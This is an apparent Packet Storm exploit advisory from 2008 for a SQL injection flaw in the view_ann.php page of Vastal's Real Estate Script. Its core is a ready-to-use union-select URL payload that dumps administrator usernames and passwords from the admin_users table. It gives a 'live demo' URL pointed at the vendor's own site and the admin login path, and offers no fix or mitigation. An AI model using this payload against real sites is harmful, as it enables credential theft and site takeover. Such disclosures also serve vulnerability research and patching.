vastal-itechagent.txt

2008-09-05T00:00:00
ID PACKETSTORM:69679
Type packetstorm
Reporter DeViL iRaQ
Modified 2008-09-05T00:00:00

Description

                                        
                                            `#######################################################  
# The Real Estate Script ( view_ann.php ) SQL Injection Vulnerability  
#  
# Author : DeViL iRaQ  
#  
# Email : guitar_lover46[at]yahoo[dot]com  
#  
# Price : $399.99 (:  
#  
# Script Home Page : http://www.vastal.com/agent-zone-real-estate-script.html  
#  
# Demo : http://www.vastal.com/real/  
#  
# Dork : N/A  
########################################################  
# Exploit :  
# www.[sitename].com/view_ann.php?ann_id=-6+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users  
#  
# Live Demo:  
# http://www.vastal.com/real/view_ann.php?ann_id=-6+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users  
#  
# Admin login :  
# http://www.[sitename].com/admin/  
#########################################################  
# Greetz :  
# All members of the Forum WwW.Hussin-X.CoM  
# Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR  
#########################################################  
  
  
`